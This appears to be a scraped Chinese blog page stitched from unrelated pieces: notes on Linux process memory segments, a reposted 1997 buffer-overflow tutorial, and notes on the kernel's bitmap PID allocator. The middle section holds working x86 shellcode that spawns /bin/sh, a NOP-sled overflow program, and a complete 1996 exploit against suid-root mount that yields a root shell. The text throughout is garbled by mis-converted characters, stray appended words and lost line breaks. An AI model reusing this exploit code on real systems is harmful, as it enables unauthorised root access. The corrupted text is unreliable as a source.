先說幾個術語:html
1、Linux進程的五個段linux
下面咱們來簡單概括一下進程對應的內存空間中所包含的5種不一樣的數據區都是幹什麼的。
重點:
代碼段、數據段、堆棧段,這是一個概念
堆、棧、全局區、常量區,這是另外一個概念
1)代碼段:代碼段是用來存放可執行文件的操做指令,也就是說是它是可執行程序在內存中的鏡像。代碼段須要防止在運行時被非法修改,因此只准許讀取操做,而不容許寫入(修改)操做——它是不可寫的。代碼段(code segment/text segment)一般是指用來存放程序執行代碼的一塊內存區域。這部分區域的大小在程序運行前就已經肯定,而且內存區域一般屬於只讀, 某些架構也容許代碼段爲可寫,即容許修改程序。在代碼段中,也有可能包含一些只讀的常數變量,例如字符串常量等。
2)數據段:數據段用來存放可執行文件中已初始化全局變量,換句話說就是存放程序靜態分配的變量和全局變量。
3)BSS段:BSS段包含了程序中未初始化的全局變量,在內存中 bss段所有置零。BSS段(bss segment)一般是指用來存放程序中未初始化的全局變量的一塊內存區域。BSS是英文Block Started by Symbol的簡稱。BSS段屬於靜態內存分配。
4)堆(heap):堆是用於存放進程運行中被動態分配的內存段,它的大小並不固定,可動態擴張或縮減。當進程調用malloc等函數分配內存時,新分配的內存就被動態添加到堆上(堆被擴張);當利用free等函數釋放內存時,被釋放的內存從堆中被剔除(堆被縮減)
它的物理內存空間是由程序申請的,並由程序負責釋放。
5)棧:棧又稱堆棧,棧是用戶存放程序臨時建立的局部變量,也就是說咱們函數括弧「{}」中定義的變量(但不包括static聲明的變量,static意味着在數據段中存放變量)。除此之外,在函數被調用時,其參數也會被壓入發起調用的進程棧中,而且待到調用結束後,函數的返回值也會被存放回棧中。因爲棧的先進先出特色,因此棧特別方便用來保存/恢復調用現場。從這個意義上講,咱們能夠把堆棧當作一個寄存、交換臨時數據的內存區。
它是由操做系統分配的,內存的申請與回收都由OS管理。程序員
舉個具體的C語言的例子吧:算法
//main.cshell
int a = 0; //全局初始化區編程
char *p1; //全局未初始化區數組
main()數據結構
{架構
static int c =0; //全局(靜態)初始化區函數
int b; //棧
char s[] = "abc"; //棧
char *p2; //棧
char *p3 = "123456"; //"123456\0"在常量區,p3在棧上。
p1 = (char *)malloc(10);
p2 = (char *)malloc(20); //分配得來得10和20字節的區域就在堆區。
}
2、各個段在內存中的組織
各個段段在線性空間中的組織。直接上圖:
+-------------------------------- 高地址
+ envstrings 環境變量字串
+--------------------------------
+ argv string 命令行字串
+--------------------------------
+ env pointers 環境變量指針表
+--------------------------------
+ argv pointers命令行參數指針表
+--------------------------------
+ argc 命令行參數個數
+--------------------------------
+ main函數的棧幀
+--------------------------------
+ 被調用函數的棧幀
+--------------------------------
+ ......
+--------------------------------
+ 堆(heap)
+--------------------------------
+ BSS 未初始化全局數據
+--------------------------------
+ Data 初始化的全局數據
+--------------------------------
+ Text 代碼段
+--------------------------------
其中,Heap,BSS,Data這三個段在物理內存中是連續存放的,能夠這麼理解:這三個是一體的。Text、Stack是獨立存放的,這是如今Linux中個段的分佈,在0.11中代碼段和數據段不是分立的,是在一塊兒的也就是說數據段和代碼段是一個段,固然了,堆與BSS也與它們一塊兒了。從0.11的task_struct中還能夠看出數據段、堆棧段的描述符是一個,都在ldt[2]處。
上圖是進程的虛擬地址空間示意圖。
堆棧段:
1. 爲函數內部的局部變量提供存儲空間。
2. 進行函數調用時,存儲「過程活動記錄」。
3. 用做暫時存儲區。如計算一個很長的算術表達式時,能夠將部分計算結果壓入堆棧。
數據段(靜態存儲區):
包括BSS段的數據段,BSS段存儲未初始化的全局變量、靜態變量。數據段存儲通過初始化的全局和靜態變量。
代碼段:
又稱爲文本段。存儲可執行文件的指令。
堆:
就像堆棧段可以根據須要自動增加同樣,數據段也有一個對象,用於完成這項工做,這就是堆(heap)。堆區域用來動態分配的存儲,也就是用 malloc 函數活的的內存。calloc和realloc和malloc相似。前者返回指針的以前把分配好的內存內容都清空爲零。後者改變一個指針所指向的內存塊的大小,能夠擴大和縮小,他常常把內存拷貝到別的地方而後將新地址返回。
代碼段、數據段、堆棧段,這是一個概念
堆、棧、全局區、常量區,這是另外一個概念
一、棧區(stack):由編譯器自動分配釋放 ,存放函數的參數值,局部變量的值等。其操做方式相似於數據結構中的棧。
二、堆區(heap):由程序員分配釋放, 若程序員不釋放,程序結束時可能由OS回收 。注意它與數據結構中的堆是兩回事,分配方式卻是相似於鏈表。
三、全局區(靜態區):全局變量和靜態變量的存儲是放在一塊的,初始化的全局變量和靜態變量在一塊區域, 未初始化的全局變量和未初始化的靜態變量在相鄰的另外一塊區域。 程序結束後由系統釋放。
四、文字常量區:常量字符串就是放在這裏的。 程序結束後由系統釋放。
五、程序代碼區:存放函數體的二進制代碼。
上面提到了緩衝區溢出
分類: Exploits收藏
##########################################
緩衝區溢出(buffer overflow)機理分析
##########################################Only 1997.7.19
Only.bbs@bbs.sjtu.edu.cn1.什麼是緩衝區溢出?
~~~~~~~~~~~~~~~~~~~
buffer overflow,buffer overrun,smash the stack,trash the stack,
scribble the stack, mangle the stack,spam,alias bug,fandango on core,
memory leak,precedence lossage,overrun screw...指的是一種系統攻擊的手
段,經過往程序的緩衝區寫超出其長度的內容,形成緩衝區的溢出,從而破壞程
序的堆棧,使程序轉而執行其它指令,以達到攻擊的目的。據統計,經過緩衝區
溢出進行的攻擊佔全部系統攻擊總數的80%以上。
形成緩衝區溢出的緣由是程序中沒有仔細檢查用戶輸入的參數。例以下面程
序:example1.c
----------------------------------------------------------------------
void function(char *str) {
char buffer[16];strcpy(buffer,str);
}
----------------------------------------------------------------------上面的strcpy()將直接吧str中的內容copy到buffer中。這樣只要str的長度
大於16,就會形成buffer的溢出,使程序運行出錯。存在象strcpy這樣的問題的
標準函數還有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循環內的
getc(),fgetc(),getchar()等。
固然,隨便往緩衝區中填東西形成它溢出通常只會出現Segmentation fault
錯誤,而不能達到攻擊的目的。最多見的手段是經過製造緩衝區溢出使程序運行
一個用戶shell,再經過shell執行其它命令。若是該程序屬於root且有suid權限
的話,攻擊者就得到了一個有root權限的shell,能夠對系統進行任意操做了。
請注意,若是沒有特別說明,下面的內容都假設用戶使用的平臺爲基於Intel
x86 CPU的Linux系統。對其它平臺來講,本文的概念一樣適用,但程序要作相應
修改。2.製造緩衝區溢出
~~~~~~~~~~~~~~~~
一個程序在內存中一般分爲程序段,數據端和堆棧三部分。程序段裏放着程
序的機器碼和只讀數據。數據段放的是程序中的靜態數據。動態數據則經過堆棧
來存放。在內存中,它們的位置是:+------------------+ 內存低端
| 程序段 |
|------------------|
| 數據段 |
|------------------|
| 堆棧 |
+------------------+ 內存高端當程序中發生函數調用時,計算機作以下操做:首先把參數壓入堆棧;而後
保存指令寄存器(IP)中的內容作爲返回地址(RET);第三個放入堆棧的是基址寄
存器(FP);而後把當前的棧指針(SP)拷貝到FP,作爲新的基地址;最後爲本地變
量留出必定空間,把SP減去適當的數值。如下面程序爲例:example2.c
----------------------------------------------------------------------
void function(char *str) {
char buffer[16];strcpy(buffer,str);
}void main() {
char large_string[256];
int i;for( i = 0; i < 255; i++)
large_string[i] = 'A';function(large_string);
}
----------------------------------------------------------------------當調用函數function()時,堆棧以下:
低內存端 buffer sfp ret *str 高內存端
<------ [ ][ ][ ][ ]
棧頂 棧底不用說,程序執行的結果是"Segmentation fault (core dumped)"或相似的
出錯信息。由於從buffer開始的256個字節都將被*str的內容'A'覆蓋,包括sfp,
ret,甚至*str。'A'的十六進值爲0x41,因此函數的返回地址變成了0x41414141,
這超出了程序的地址空間,因此出現段錯誤。3.經過緩衝區溢出得到用戶SHELL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
若是在溢出的緩衝區中寫入咱們想執行的代碼,再覆蓋返回地址(ret)的內
容,使它指向緩衝區的開頭,就能夠達到運行其它指令的目的。低內存端 buffer sfp ret *str 高內存端
<------ [ ][ ][ ][ ]
棧頂 ^ | 棧底
|________________________|
一般,咱們想運行的是一個用戶shell。下面是一段寫得很漂亮的shell代碼example3.c
----------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string "/bin/sh" # 8 bytes
# 46 bytes total
");
}
----------------------------------------------------------------------將上面的程序用機器碼錶示便可獲得下面的十六進制shell代碼字符串。
example4.c
----------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];strcpy(buffer,large_string);
}
----------------------------------------------------------------------這個程序所作的是,在large_string中填入buffer的地址,並把shell代碼
放到large_string的前面部分。而後將large_string拷貝到buffer中,形成它溢
出,使返回地址變爲buffer,而buffer的內容爲shell代碼。這樣當程序試從
strcpy()中返回時,就會轉而執行shell。4.利用緩衝區溢出進行的系統攻擊
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
若是已知某個程序有緩衝區溢出的缺陷,如何知道緩衝區的地址,在那兒放
入shell代碼呢?因爲每一個程序的堆棧起始地址是固定的,因此理論上能夠經過
反覆重試緩衝區相對於堆棧起始位置的距離來獲得。但這樣的盲目猜想可能要進
行數百上千次,其實是不現實的。解決的辦法是利用空指令NOP。在shell代碼
前面放一長串的NOP,返回地址能夠指向這一串NOP中任一位置,執行完NOP指令
後程序將激活shell進程。這樣就大大增長了猜中的可能性。低內存端 buffer sfp ret *str 高內存端
<------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]
棧頂 ^ | 棧底
|_______________________________|圖中,N表明NOP,S表明shell。下面是一個緩衝區溢出攻擊的實例,它利用
了系統程序mount的漏洞:example5.c
----------------------------------------------------------------------
/* Mount Exploit for Linux, Jul 30 1996Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50u_long get_esp()
{
__asm__("movl %esp, %eax");}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;int i;
int ofs = DEFAULT_OFFSET;buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}----------------------------------------------------------------------
程序中get_esp()函數的做用就是定位堆棧位置。程序首先分配一塊暫存區
buff,而後在buff的前面部分填滿NOP,後面部分放shell代碼。最後部分是但願
程序返回的地址,由棧地址加偏移獲得。當以buff爲參數調用mount時,將形成
mount程序的堆棧溢出,其緩衝區被buff覆蓋,而返回地址將指向NOP指令。
因爲mount程序的屬主是root且有suid位,普通用戶運行上面程序的結果將
得到一個具備root權限的shell。
開始系統的學習linux內核了,手頭的參考書是<<深刻理解linux內核>>第三版,裏面是基於2.6.11版來說解的,因此我這裏的筆記也是基於這個版本.個人目的是將該書中我以爲講的不太詳細或者能夠展開討論理解的地方寫出來供別人參考.計劃三個月內精讀完該書,爭取每週更新約三次筆記. 其它的參考資料還有: <<深刻理解計算機系統>> <<linux內核情景分析>>上冊 <<Linux內核設計與實現>> <<Linux內核徹底剖析>> <<UNIX操做系統設計>> 這幾本書都是看到相關部分時拿出來的參考資料,閱讀仍是以<<深刻理解linux內核>>爲主展開. ==================分割線===================== 熟悉unix的人都知道,進程號也就是pid其實是整型的數據,每次建立一個新的進程就返回一個id號,這個id號一直遞增,直到最大的時候開始"迴繞",也就是從0開始尋找當前最小的可用的pid. linux內核中,採用位圖來實現pid的分配與釋放.簡單的說,就是分配一個與系統最大pid數目相同大小的位圖,每次分配了一個pid,就將位圖中的相應位置置1;釋放則置0;迴繞的時候則從0開始繼續前面的查找,若是遍歷了整個位圖都找不到,那麼返回-1. 我將內核中相關部分的代碼提取出來寫了一個簡單的demo: 01.#include 02. 03./* max pid, equal to 2^15=32768 */ 04.#define PID_MAX_DEFAULT 0x8000 05. 06./* page size = 2^12 = 4K */ 07.#define PAGE_SHIFT 12 08.#define PAGE_SIZE (1UL << PAGE_SHIFT) 09. 10.#define BITS_PER_BYTE 8 11.#define BITS_PER_PAGE (PAGE_SIZE * BITS_PER_BYTE) 12.#define BITS_PER_PAGE_MASK (BITS_PER_PAGE - 1) 13. 14.typedef struct pidmap 15.{ 16. unsigned int nr_free; 17. char page[PID_MAX_DEFAULT]; 18.} pidmap_t; 19. 20.static pidmap_t pidmap = { PID_MAX_DEFAULT, {'0'} }; 21. 22.static int last_pid = -1; 23. 24.static int test_and_set_bit(int offset, void *addr) 25.{ 26. unsigned long mask = 1UL << (offset & (sizeof(unsigned long) * BITS_PER_BYTE - 1)); 27. unsigned long *p = ((unsigned long*)addr) + (offset >> (sizeof(unsigned long) + 1)); 28. unsigned long old = *p; 29. 30. *p = old | mask; 31. 32. return (old & mask) != 0; 33.} 34. 35.static void clear_bit(int offset, void *addr) 36.{ 37. unsigned long mask = 1UL << (offset & (sizeof(unsigned long) * BITS_PER_BYTE - 1)); 38. unsigned long *p = ((unsigned long*)addr) + (offset >> (sizeof(unsigned long) + 1)); 39. unsigned long old = *p; 40. 41. *p = old & ~mask; 42.} 43. 44.static int find_next_zero_bit(void *addr, int size, int offset) 45.{ 46. unsigned long *p; 47. unsigned long mask; 48. 49. while (offset < size) 50. { 51. p = ((unsigned long*)addr) + (offset >> (sizeof(unsigned long) + 1)); 52. mask = 1UL << (offset & (sizeof(unsigned long) * BITS_PER_BYTE - 1)); 53. 54. if ((~(*p) & mask)) 55. { 56. break; 57. } 58. 59. ++offset; 60. } 61. 62. return offset; 63.} 64. 65.static int alloc_pidmap() 66.{ 67. int pid = last_pid + 1; 68. int offset = pid & BITS_PER_PAGE_MASK; 69. 70. if (!pidmap.nr_free) 71. { 72. return -1; 73. } 74. 75. offset = find_next_zero_bit(&pidmap.page, BITS_PER_PAGE, offset); 76. if (BITS_PER_PAGE != offset && !test_and_set_bit(offset, &pidmap.page)) 77. { 78. --pidmap.nr_free; 79. last_pid = offset; 80. return offset; 81. } 82. 83. return -1; 84.} 85. 86.static void free_pidmap(int pid) 87.{ 88. int offset = pid & BITS_PER_PAGE_MASK; 89. 90. pidmap.nr_free++; 91. clear_bit(offset, &pidmap.page); 92.} 93. 94.int main() 95.{ 96. int i; 97. for (i = 0; i < PID_MAX_DEFAULT + 100; ++i) 98. { 99. printf("pid = %d\n", alloc_pidmap()); 100. if (!(i % 100)) 101. { 102. // 到整百時釋放一次pid,看回繞的時候是否是都是使用整百的pid 103. free_pidmap(i); 104. } 105. } 106. 107. return 0; 108.} 複製代碼說明幾點: 1) 內核中對應的代碼在pid.c和bitops.h文件中. 2) 這裏的幾個位操做函數實現linux內核中基於不一樣的CPU架構分別都作了優化,有的用到了彙編,我這裏使用純C語言完成這幾個函數.可是我想,不管是C 仍是彙編,這裏隱含的算法思想都是同樣的(見下面提到的第四點),在算法肯定了以後,再針對能夠優化的地方去作優化. 3) 代碼裏面還作了一些簡化,內核中pidmap對象多是數組,可是這裏的實現只有一個pidmap對象. 4) "位圖"是很是常見的數據結構,通常適用於以下的場景: 首先,須要分配/釋放的數據是整型相關的;其次,它們是連續的,從0開始的;最後,它們的狀態只有兩種:分配或者空閒.回頭看看pid的這個場景,知足了使用位圖的狀況.在其它的一些書籍中,好比<<編程珠璣>>,也提到了位圖算法,它那裏的場景與這裏相似. 5) 位操做我還不是很熟悉,寫這幾個位操做算法費了很多功夫.
init_task,這是0號進程的PCB。是雙向鏈表的頭,注意頭尾指向的巧妙。
進程設計的原則,和性能測試很像啊:
1. 響應時間,是交互時間。
2. 週轉時間,是從發出請求到獲得應答的時間。
3. 吞吐量,是單位時間內處理的進程數量儘量多。